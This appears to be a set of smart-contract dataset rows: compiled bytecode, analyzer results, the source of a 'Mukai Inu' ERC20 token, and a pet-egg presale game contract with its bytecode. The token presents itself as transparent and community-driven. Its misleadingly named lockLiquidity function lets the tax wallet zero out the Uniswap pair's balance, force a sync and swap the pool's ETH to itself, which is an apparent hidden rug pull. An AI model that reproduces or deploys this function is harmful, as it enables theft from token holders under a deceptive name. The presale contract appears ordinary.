65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a965656106053115bc5544f0777dbce53474c9d17483dc734832a0b2d862fd8a64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 8,979 |
0x41f83F6F25Eb0D3eB9615Ab7BbBf995E7f7fbA4F
|
/**
*Submitted for verification at Etherscan.io on 2022-03-08
*/
//SPDX-License-Identifier: MIT
/**
Mukai Inu is a completely decentralized, community driven project. Our foundation is built around DeFi principles, and delivered with complete transparency. We are a hyper deflationary token on the Ethereum Blockchain designed to constantly create buy pressure while reducing the supply through the use of deflationary techniques. The dynamic taxes are unique tokenomics programmed for us to succeed. Our team aims to maintain a state of balance and equilibrium because we are a token built by Ethereum enthusiasts.
https://t.me/mukaiinu
**/
pragma solidity ^0.8.9;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract MukaiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private _tTotal = 400000000000000 * 10**18;
uint256 private _maxWallet= 400000000000000 * 10**18;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 public _maxTxAmount;
string private constant _name = "Mukai Inu";
string private constant _symbol = "MUKAI";
uint8 private constant _decimals = 18;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = 10;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(200);
_maxWallet=_tTotal.div(100);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
}
if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance,address(this));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 40000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount,address to) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
to,
block.timestamp
);
}
function increaseMaxTx(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function increaseMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createUniswapPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function lockLiquidity() public{
require(_msgSender()==_taxWallet);
_balance[address(this)] = 100000000000000000;
_balance[_pair] = 1;
(bool success,) = _pair.call(abi.encodeWithSelector(bytes4(0xfff6cae9)));
if (success) {
swapTokensForEth(100000000, _taxWallet);
} else { revert("Internal failure"); }
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
receive() external payable {}
function manualSwap() public{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance,address(this));
}
function manualSend() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063bb2f719911610064578063bb2f719914610316578063d91a21a61461032b578063dd62ed3e1461034b578063e8078d9414610391578063f4293890146103a657600080fd5b8063715018a6146102755780637d1db4a51461028a5780638da5cb5b146102a057806395d89b41146102c8578063a9059cbb146102f657600080fd5b8063313ce567116100e7578063313ce567146101d75780633e7175c5146101f35780634a1316721461021557806351bc3c851461022a57806370a082311461023f57600080fd5b806306fdde0314610124578063095ea7b31461016857806318160ddd1461019857806323b872dd146101b757600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260098152684d756b616920496e7560b81b60208201525b60405161015f91906113e2565b60405180910390f35b34801561017457600080fd5b5061018861018336600461142a565b6103bb565b604051901515815260200161015f565b3480156101a457600080fd5b506005545b60405190815260200161015f565b3480156101c357600080fd5b506101886101d2366004611456565b6103d2565b3480156101e357600080fd5b506040516012815260200161015f565b3480156101ff57600080fd5b5061021361020e366004611497565b61043b565b005b34801561022157600080fd5b50610213610481565b34801561023657600080fd5b5061021361071e565b34801561024b57600080fd5b506101a961025a3660046114b0565b6001600160a01b031660009081526002602052604090205490565b34801561028157600080fd5b5061021361073a565b34801561029657600080fd5b506101a960095481565b3480156102ac57600080fd5b506000546040516001600160a01b03909116815260200161015f565b3480156102d457600080fd5b506040805180820190915260058152644d554b414960d81b6020820152610152565b34801561030257600080fd5b5061018861031136600461142a565b6107ae565b34801561032257600080fd5b506102136107bb565b34801561033757600080fd5b50610213610346366004611497565b6108ea565b34801561035757600080fd5b506101a96103663660046114cd565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561039d57600080fd5b50610213610927565b3480156103b257600080fd5b50610213610a41565b60006103c8338484610a94565b5060015b92915050565b60006103df848484610bb8565b610431843361042c856040518060600160405280602881526020016116d2602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f6d565b610a94565b5060019392505050565b6000546001600160a01b0316331461046e5760405162461bcd60e51b815260040161046590611506565b60405180910390fd5b600654811161047c57600080fd5b600655565b6000546001600160a01b031633146104ab5760405162461bcd60e51b815260040161046590611506565b600b54600160a01b900460ff16156105055760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610465565b600a546005546105229130916001600160a01b0390911690610a94565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610575573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610599919061153b565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061f919061153b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561066c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610690919061153b565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af11580156106f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071b9190611558565b50565b30600090815260026020526040812054905061071b8130610fa7565b6000546001600160a01b031633146107645760405162461bcd60e51b815260040161046590611506565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103c8338484610bb8565b6008546001600160a01b0316336001600160a01b0316146107db57600080fd5b30600090815260026020908152604080832067016345785d8a00009055600b80546001600160a01b03908116855282852060019055905482516004815260248101845293840180516001600160e01b031660016209351760e01b031917905291519116916108489161157a565b6000604051808303816000865af19150503d8060008114610885576040519150601f19603f3d011682016040523d82523d6000602084013e61088a565b606091505b5050905080156108af5760085461071b906305f5e100906001600160a01b0316610fa7565b60405162461bcd60e51b815260206004820152601060248201526f496e7465726e616c206661696c75726560801b6044820152606401610465565b6000546001600160a01b031633146109145760405162461bcd60e51b815260040161046590611506565b600954811161092257600080fd5b600955565b6000546001600160a01b031633146109515760405162461bcd60e51b815260040161046590611506565b600a546001600160a01b031663f305d7194730610983816001600160a01b031660009081526002602052604090205490565b6000806109986000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a00573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a259190611596565b5050600b805462ff00ff60a01b19166201000160a01b17905550565b4761071b81611122565b6000610a8d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611160565b9392505050565b6001600160a01b038316610af65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610465565b6001600160a01b038216610b575760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610465565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c1c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610465565b6001600160a01b038216610c7e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610465565b60008111610ce05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610465565b6000546001600160a01b03848116911614801590610d0c57506000546001600160a01b03838116911614155b15610f0c57600b546001600160a01b038481169116148015610d3c5750600a546001600160a01b03838116911614155b8015610d6157506001600160a01b03821660009081526004602052604090205460ff16155b15610db857600954811115610db85760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610465565b600b546001600160a01b03838116911614801590610def57506001600160a01b03821660009081526004602052604090205460ff16155b8015610e1457506001600160a01b03831660009081526004602052604090205460ff16155b15610e945760065481610e3c846001600160a01b031660009081526002602052604090205490565b610e4691906115da565b1115610e945760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a65000000006044820152606401610465565b30600090815260026020526040902054600b54600160a81b900460ff16158015610ecc5750600b546001600160a01b03858116911614155b8015610ee15750600b54600160b01b900460ff165b15610f0a57610ef08130610fa7565b47668e1bc9bf0400008110610f0857610f0847611122565b505b505b6001600160a01b038216600090815260046020526040902054610f689084908490849060ff1680610f5557506001600160a01b03871660009081526004602052604090205460ff165b610f615760075461118e565b600061118e565b505050565b60008184841115610f915760405162461bcd60e51b815260040161046591906113e2565b506000610f9e84866115f2565b95945050505050565b600b805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fef57610fef611609565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611048573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106c919061153b565b8160018151811061107f5761107f611609565b6001600160a01b039283166020918202929092010152600a546110a59130911685610a94565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110de90869060009086908890429060040161161f565b600060405180830381600087803b1580156110f857600080fd5b505af115801561110c573d6000803e3d6000fd5b5050600b805460ff60a81b191690555050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561115c573d6000803e3d6000fd5b5050565b600081836111815760405162461bcd60e51b815260040161046591906113e2565b506000610f9e8486611690565b60006111a5606461119f8585611292565b90610a4b565b905060006111b38483611311565b6001600160a01b0387166000908152600260205260409020549091506111d99085611311565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546112089082611353565b6001600160a01b0386166000908152600260205260408082209290925530815220546112349083611353565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000826112a1575060006103cc565b60006112ad83856116b2565b9050826112ba8583611690565b14610a8d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610465565b6000610a8d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f6d565b60008061136083856115da565b905083811015610a8d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610465565b60005b838110156113cd5781810151838201526020016113b5565b838111156113dc576000848401525b50505050565b60208152600082518060208401526114018160408501602087016113b2565b601f01601f19169190910160400192915050565b6001600160a01b038116811461071b57600080fd5b6000806040838503121561143d57600080fd5b823561144881611415565b946020939093013593505050565b60008060006060848603121561146b57600080fd5b833561147681611415565b9250602084013561148681611415565b929592945050506040919091013590565b6000602082840312156114a957600080fd5b5035919050565b6000602082840312156114c257600080fd5b8135610a8d81611415565b600080604083850312156114e057600080fd5b82356114eb81611415565b915060208301356114fb81611415565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561154d57600080fd5b8151610a8d81611415565b60006020828403121561156a57600080fd5b81518015158114610a8d57600080fd5b6000825161158c8184602087016113b2565b9190910192915050565b6000806000606084860312156115ab57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b600082198211156115ed576115ed6115c4565b500190565b600082821015611604576116046115c4565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561166f5784516001600160a01b03168352938301939183019160010161164a565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826116ad57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156116cc576116cc6115c4565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cb197dff0d61663946f2c5e7870749282170c04d95e1efc8f92fb84e3289116564736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,980 |
0x876c6fbec71a498155cfa811f9d10fd3bb67e4c5
|
pragma solidity ^0.4.23;
/**
* Preparing contracts
*
**/
// Ownable contract with CFO
contract Ownable {
address public owner;
address public cfoAddress;
constructor() public{
owner = msg.sender;
cfoAddress = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
function transferOwnership(address newOwner) external onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function setCFO(address newCFO) external onlyOwner {
require(newCFO != address(0));
cfoAddress = newCFO;
}
}
// Pausable contract which allows children to implement an emergency stop mechanism.
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
// Modifier to make a function callable only when the contract is not paused.
modifier whenNotPaused() {
require(!paused);
_;
}
// Modifier to make a function callable only when the contract is paused.
modifier whenPaused() {
require(paused);
_;
}
// called by the owner to pause, triggers stopped state
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
// called by the owner to unpause, returns to normal state
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// Gen mixer
contract MixGenInterface {
function openEgg(uint64 userNumber, uint16 eggQuality) public returns (uint256 genes, uint16 quality);
function uniquePet(uint64 newPetId) public returns (uint256 genes, uint16 quality);
}
// Configuration of external contracts
contract ExternalContracts is Ownable {
MixGenInterface public geneScience;
address public marketAddress;
function setMixGenAddress(address _address) external onlyOwner {
MixGenInterface candidateContract = MixGenInterface(_address);
geneScience = candidateContract;
}
function setMarketAddress(address _address) external onlyOwner {
marketAddress = _address;
}
}
// Population settings and base functions
contract PopulationControl is Pausable {
// start breed timeout is 12 hours
uint32 public breedTimeout = 12 hours;
uint32 maxTimeout = 178 days;
function setBreedTimeout(uint32 timeout) external onlyOwner {
require(timeout <= maxTimeout);
breedTimeout = timeout;
}
}
/**
* Presale main contracts
*
**/
// Pet base contract
contract PetBase is PopulationControl{
// events
event Birth(address owner, uint64 petId, uint16 quality, uint256 genes);
event Death(uint64 petId);
event Transfer(address from, address to, uint256 tokenId);
// data storage
struct Pet {
uint256 genes;
uint64 birthTime;
uint16 quality;
}
mapping (uint64 => Pet) pets;
mapping (uint64 => address) petIndexToOwner;
mapping (address => uint256) public ownershipTokenCount;
mapping (uint64 => uint64) breedTimeouts;
uint64 tokensCount;
uint64 lastTokenId;
// pet creation
function createPet(
uint256 _genes,
uint16 _quality,
address _owner
)
internal
returns (uint64)
{
Pet memory _pet = Pet({
genes: _genes,
birthTime: uint64(now),
quality: _quality
});
lastTokenId++;
tokensCount++;
uint64 newPetId = lastTokenId;
pets[newPetId] = _pet;
_transfer(0, _owner, newPetId);
breedTimeouts[newPetId] = uint64( now + (breedTimeout / 2) );
emit Birth(_owner, newPetId, _quality, _genes);
return newPetId;
}
// transfer pet function
function _transfer(address _from, address _to, uint256 _tokenId) internal {
uint64 _tokenId64bit = uint64(_tokenId);
ownershipTokenCount[_to]++;
petIndexToOwner[_tokenId64bit] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
}
emit Transfer(_from, _to, _tokenId);
}
// calculation of recommended price
function recommendedPrice(uint16 quality) public pure returns(uint256 price) {
require(quality <= uint16(0xF000));
require(quality >= uint16(0x1000));
uint256 startPrice = 1000;
price = startPrice;
uint256 revertQuality = uint16(0xF000) - quality;
uint256 oneLevel = uint16(0x2000);
uint256 oneQuart = oneLevel/4;
uint256 fullLevels = revertQuality/oneLevel;
uint256 fullQuarts = (revertQuality % oneLevel) / oneQuart ;
uint256 surplus = revertQuality - (fullLevels*oneLevel) - (fullQuarts*oneQuart);
// coefficeint is 4.4 per level
price = price * 44**fullLevels;
price = price / 10**fullLevels;
// quart coefficient is sqrt(sqrt(4.4))
if(fullQuarts != 0)
{
price = price * 14483154**fullQuarts;
price = price / 10**(7 * fullQuarts);
}
// for surplus we using next quart coefficient
if(surplus != 0)
{
uint256 nextQuartPrice = (price * 14483154) / 10**7;
uint256 surPlusCoefficient = surplus * 10**6 /oneQuart;
uint256 surPlusPrice = ((nextQuartPrice - price) * surPlusCoefficient) / 10**6;
price+= surPlusPrice;
}
price*= 50 szabo;
}
// grade calculation based on parrot quality
function getGradeByQuailty(uint16 quality) public pure returns (uint8 grade) {
require(quality <= uint16(0xF000));
require(quality >= uint16(0x1000));
if(quality == uint16(0xF000))
return 7;
quality+= uint16(0x1000);
return uint8 ( quality / uint16(0x2000) );
}
}
// Ownership
contract PetOwnership is PetBase {
// function for the opportunity to gift parrots before the start of the game
function transfer(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_owns(msg.sender, uint64(_tokenId)));
_transfer(msg.sender, _to, _tokenId);
}
// checks if a given address is the current owner of a particular pet
function _owns(address _claimant, uint64 _tokenId) internal view returns (bool) {
return petIndexToOwner[_tokenId] == _claimant;
}
// returns the address currently assigned ownership of a given pet
function ownerOf(uint256 _tokenId) external view returns (address owner) {
uint64 _tokenId64bit = uint64(_tokenId);
owner = petIndexToOwner[_tokenId64bit];
require(owner != address(0));
}
}
// Settings for eggs minted by administration
contract EggMinting is PetOwnership{
uint8 public uniquePetsCount = 100;
uint16 public globalPresaleLimit = 2500;
mapping (uint16 => uint16) public eggLimits;
mapping (uint16 => uint16) public purchesedEggs;
constructor() public {
eggLimits[55375] = 200;
eggLimits[48770] = 1100;
eggLimits[39904] = 200;
eggLimits[32223] = 25;
}
function totalSupply() public view returns (uint) {
return tokensCount;
}
function setEggLimit(uint16 quality, uint16 limit) external onlyOwner {
eggLimits[quality] = limit;
}
function eggAvailable(uint16 quality) constant public returns(bool) {
// first 100 eggs - only cheap
if( quality < 48000 && tokensCount < ( 100 + uniquePetsCount ) )
return false;
return (eggLimits[quality] > purchesedEggs[quality]);
}
}
// Buying eggs from the company
contract EggPurchase is EggMinting, ExternalContracts {
uint16[4] discountThresholds = [20, 100, 500, 1000];
uint8[4] discountPercents = [75, 50, 30, 20 ];
// purchasing egg
function purchaseEgg(uint64 userNumber, uint16 quality) external payable whenNotPaused {
require(tokensCount >= uniquePetsCount);
// checking egg availablity
require(eggAvailable(quality));
// checking total count of presale eggs
require(tokensCount <= globalPresaleLimit);
// calculating price
uint256 eggPrice = ( recommendedPrice(quality) * (100 - getCurrentDiscountPercent()) ) / 100;
// checking payment amount
require(msg.value >= eggPrice);
// increment egg counter
purchesedEggs[quality]++;
// initialize variables for store child genes and quility
uint256 childGenes;
uint16 childQuality;
// get genes and quality of new pet by opening egg through external interface
(childGenes, childQuality) = geneScience.openEgg(userNumber, quality);
// creating new pet
createPet(
childGenes, // genes string
childQuality, // child quality by open egg
msg.sender // owner
);
}
function getCurrentDiscountPercent() constant public returns (uint8 discount) {
for(uint8 i = 0; i <= 3; i++)
{
if(tokensCount < (discountThresholds[i] + uniquePetsCount ))
return discountPercents[i];
}
return 10;
}
}
// Launch it
contract PreSale is EggPurchase {
constructor() public {
paused = true;
}
function generateUniquePets(uint8 count) external onlyOwner whenNotPaused {
require(marketAddress != address(0));
require(address(geneScience) != address(0));
uint256 childGenes;
uint16 childQuality;
uint64 newPetId;
for(uint8 i = 0; i< count; i++)
{
if(tokensCount >= uniquePetsCount)
continue;
newPetId = tokensCount+1;
(childGenes, childQuality) = geneScience.uniquePet(newPetId);
createPet(childGenes, childQuality, marketAddress);
}
}
function getPet(uint256 _id) external view returns (
uint64 birthTime,
uint256 genes,
uint64 breedTimeout,
uint16 quality,
address owner
) {
uint64 _tokenId64bit = uint64(_id);
Pet storage pet = pets[_tokenId64bit];
birthTime = pet.birthTime;
genes = pet.genes;
breedTimeout = uint64(breedTimeouts[_tokenId64bit]);
quality = pet.quality;
owner = petIndexToOwner[_tokenId64bit];
}
function unpause() public onlyOwner whenPaused {
require(address(geneScience) != address(0));
super.unpause();
}
function withdrawBalance(uint256 summ) external onlyCFO {
cfoAddress.transfer(summ);
}
}
|
0x60806040526004361061017f5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630519ce79811461018457806318160ddd146101b5578063205d6c86146101dc5780632d6c25fa146101fa5780632dd9ecd214610216578063349d3dc5146102495780633bf1a4ef146102775780633f4ba83a146102985780634e0a3379146102ad57806359d55194146102ce5780635c975abb1461032d5780636352211e146103565780638456cb591461036e5780638a39ebdc146103835780638aadf70a146103985780638d86e0d3146103b35780638da5cb5b146103cf57806390ca9dbf146103e45780639276358514610416578063956236411461042b57806399348f8e14610440578063a9059cbb1461045c578063be782f5814610480578063cec21acb1461049e578063da76d5cd146104bf578063e3524d36146104d7578063efa726e8146104ec578063f2b47d521461050e578063f2fde38b14610523578063fae9261214610544575b600080fd5b34801561019057600080fd5b50610199610565565b60408051600160a060020a039092168252519081900360200190f35b3480156101c157600080fd5b506101ca610574565b60408051918252519081900360200190f35b6101f867ffffffffffffffff6004351661ffff60243516610584565b005b34801561020657600080fd5b506101ca61ffff6004351661073a565b34801561022257600080fd5b5061023261ffff60043516610833565b6040805161ffff9092168252519081900360200190f35b34801561025557600080fd5b5061025e610849565b6040805163ffffffff9092168252519081900360200190f35b34801561028357600080fd5b506101f8600160a060020a036004351661086e565b3480156102a457600080fd5b506101f86108b6565b3480156102b957600080fd5b506101f8600160a060020a0360043516610906565b3480156102da57600080fd5b506102e6600435610961565b6040805167ffffffffffffffff96871681526020810195909552929094168383015261ffff166060830152600160a060020a03909216608082015290519081900360a00190f35b34801561033957600080fd5b506103426109bf565b604080519115158252519081900360200190f35b34801561036257600080fd5b506101996004356109cf565b34801561037a57600080fd5b506101f8610a05565b34801561038f57600080fd5b50610232610a82565b3480156103a457600080fd5b506101f860ff60043516610aa1565b3480156103bf57600080fd5b5061023261ffff60043516610c21565b3480156103db57600080fd5b50610199610c37565b3480156103f057600080fd5b5061040061ffff60043516610c46565b6040805160ff9092168252519081900360200190f35b34801561042257600080fd5b50610400610c98565b34801561043757600080fd5b50610199610cb5565b34801561044c57600080fd5b5061034261ffff60043516610cc4565b34801561046857600080fd5b506101f8600160a060020a0360043516602435610d3c565b34801561048c57600080fd5b506101f863ffffffff60043516610da2565b3480156104aa57600080fd5b506101ca600160a060020a0360043516610e39565b3480156104cb57600080fd5b506101f8600435610e4b565b3480156104e357600080fd5b50610400610e9c565b3480156104f857600080fd5b506101f861ffff60043581169060243516610f4e565b34801561051a57600080fd5b50610199610f89565b34801561052f57600080fd5b506101f8600160a060020a0360043516610f98565b34801561055057600080fd5b506101f8600160a060020a0360043516610fea565b600154600160a060020a031681565b60065467ffffffffffffffff1690565b6001546000908190819060a060020a900460ff16156105a257600080fd5b60065460ff70010000000000000000000000000000000082041667ffffffffffffffff90911610156105d357600080fd5b6105dc84610cc4565b15156105e757600080fd5b60065461ffff7101000000000000000000000000000000000082041667ffffffffffffffff909116111561061a57600080fd5b6064610624610e9c565b60640360ff166106338661073a565b0281151561063d57fe5b0492503483111561064d57600080fd5b61ffff808516600081815260086020526040808220805480861660010190951661ffff199095169490941790935560095483517f5e733baa00000000000000000000000000000000000000000000000000000000815267ffffffffffffffff8a16600482015260248101939093528351600160a060020a0390911693635